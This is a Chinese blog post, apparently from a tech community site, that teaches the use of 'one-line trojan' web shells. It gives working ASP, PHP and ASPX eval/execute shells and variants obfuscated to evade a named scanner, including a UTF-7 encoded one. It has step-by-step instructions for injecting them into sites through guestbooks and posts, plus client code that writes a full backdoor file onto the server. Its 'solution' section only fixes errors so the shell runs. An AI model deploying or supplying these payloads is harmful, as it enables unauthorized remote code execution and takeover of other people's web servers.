一句话木马


一句话 木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
中文名
一句话木马
外文名
<%execute request("value")%>
特    点
隐蔽性非常好
解决方法
用"eval"替换掉"execute"服务端 

举例说明

黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:
<%execute request("value")%>
其中value是值,所以你可以更改自己的值,前面的request就是获取这个值
<%eval request("value")%>(现在比较多见的,而且字符少,对 表单字数有限制的地方特别的实用)
当知道了数据库的URL,就可以 利用本地一张网页进行连接得到Webshell。(不知道数据库也可以,只要知道<%eval request("value")%>这个文件被插入到哪一个ASP文件里面就可以了。)
这就被称为一句话木马,它是基于 B/S结构的。

写法

常用一句话木马
asp一句话木马:
  
 <%execute(request("value"))%>
   php一句话木马:
  
 <?php @eval($_POST[value]);?>
   aspx一句话木马:
  
<%@ Page Language="Jscript"%>
  <%eval(Request.Item["value"])%>
其他一句话木马:
<%eval request("value")%>
  <%execute request("value")%>
  <%execute(request("value"))%>
  <%If Request("value")<>"" Then Execute(Request("value"))%>
  <%if request ("value")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>
  <SCRIPT language=VBScript runat="server">execute request("value")</SCRIPT>
  <%@ Page Language="Jscript"%>
  <%eval(Request.Item["value"],"unsafe");%> 
   可以躲过雷客图的一句话木马:
  <%
  set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
  ms.Language="VBScript"
  ms.AddObject "Response", Response
  ms.AddObject "request", request
  ms.ExecuteStatement("ev"&"al(request(""value""))")
  %>
   不用'<,>'的asp一句话木马:
  <script language=VBScript runat=server>execute request("value")</script> 
   不用双引号的一句话木马:
  <%eval request(chr(35))%>
UTF-7编码加密:
<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>

客户端

一句话最常用的客户端为:
一句话客户端增强版
中国菜刀
lanker一句话客户端
ZV新型PHP一句话木马客户端GUI版

使用方法

首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到asp数据库,或者加进asp网页.
记住!我们的目的是把一句话<%execute request("value")%>添加到数据库,无论任何方式!
然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是asp网页,然后进入此网站服务器。

木马原理

首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:
<textarea name=# cols="80" rows="10">
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
</textarea>
学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的writetext方法将 request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp
文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect "aoyunwan.asp" 转向写入的文件,就是我们最后见的大马了!

关于错误

服务器错误
经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:
Script error detected at line 1.
Source line:execute request("nettoo")
Description:类型不匹配: 'execute'
解决方法
用"eval"替换掉"execute"服务端,就不会出错了!
  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值